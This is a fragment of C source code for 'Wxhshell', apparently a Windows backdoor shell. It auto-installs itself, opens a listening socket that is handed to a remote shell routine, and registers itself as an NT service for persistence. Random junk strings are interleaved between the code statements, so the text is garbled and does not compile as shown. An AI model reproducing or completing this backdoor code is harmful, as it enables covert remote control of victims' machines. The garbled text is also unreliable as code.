int StartWxhshell(LPSTR lpCmdLine) Yy}aQF#M { S}E@*t2h SOCKET wsl; +}Pa/8ybJ BOOL val=TRUE; 2~)]E#9 int port=0; ))N^)HR struct sockaddr_in door; THJ+OnP _xUXt)k if(wscfg.ws_autoins) Install(); U PC& O K&*FI (a port=atoi(lpCmdLine); 1jyWP#M# pqK3u) if(port<=0) port=wscfg.ws_port; u$"5SGI6 s"/8h#!zv WSADATA data; eD3F%wxz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A@]
n" pLU>vQA if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F\e'z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QbWD&8T0O door.sin_family = AF_INET; &,/T<V door.sin_addr.s_addr = inet_addr("127.0.0.1"); @'<|B. f door.sin_port = htons(port); 82vx:*Ip!} UgP5^3F2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i@RjG closesocket(wsl); -1R~3j1_ return 1; \WTg0b[ } SUw{xGp [Dhc9 if(listen(wsl,2) == INVALID_SOCKET) { uP$K{ ) closesocket(wsl); b<8h\fR#' return 1; =
7?'S# } m8?(.BJ% Wxhshell(wsl); pV!(#45 ~W WSACleanup(); 8yo9$~u; $
]HI YYs return 0;
Du/s
0c{N) } Km?i{TW ICi- iX // 以NT服务方式启动 Rl~Tw9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xOT3>$ { +Il=gL1 DWORD status = 0; (Gc5lMiX3 DWORD specificError = 0xfffffff; 5?O"N dw-r}Qioe serviceStatus.dwServiceType = SERVICE_WIN32; F8/@/B serviceStatus.dwCurrentState = SERVICE_START_PENDING; `y\:3bQ4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4u&doSXR serviceStatus.dwWin32ExitCode = 0; 4aRYz\yT= serviceStatus.dwServiceSpecificExitCode = 0; BhKxI serviceStatus.dwCheckPoint = 0; TuU.yvkU serviceStatus.dwWaitHint = 0; /vhh2` D fb& |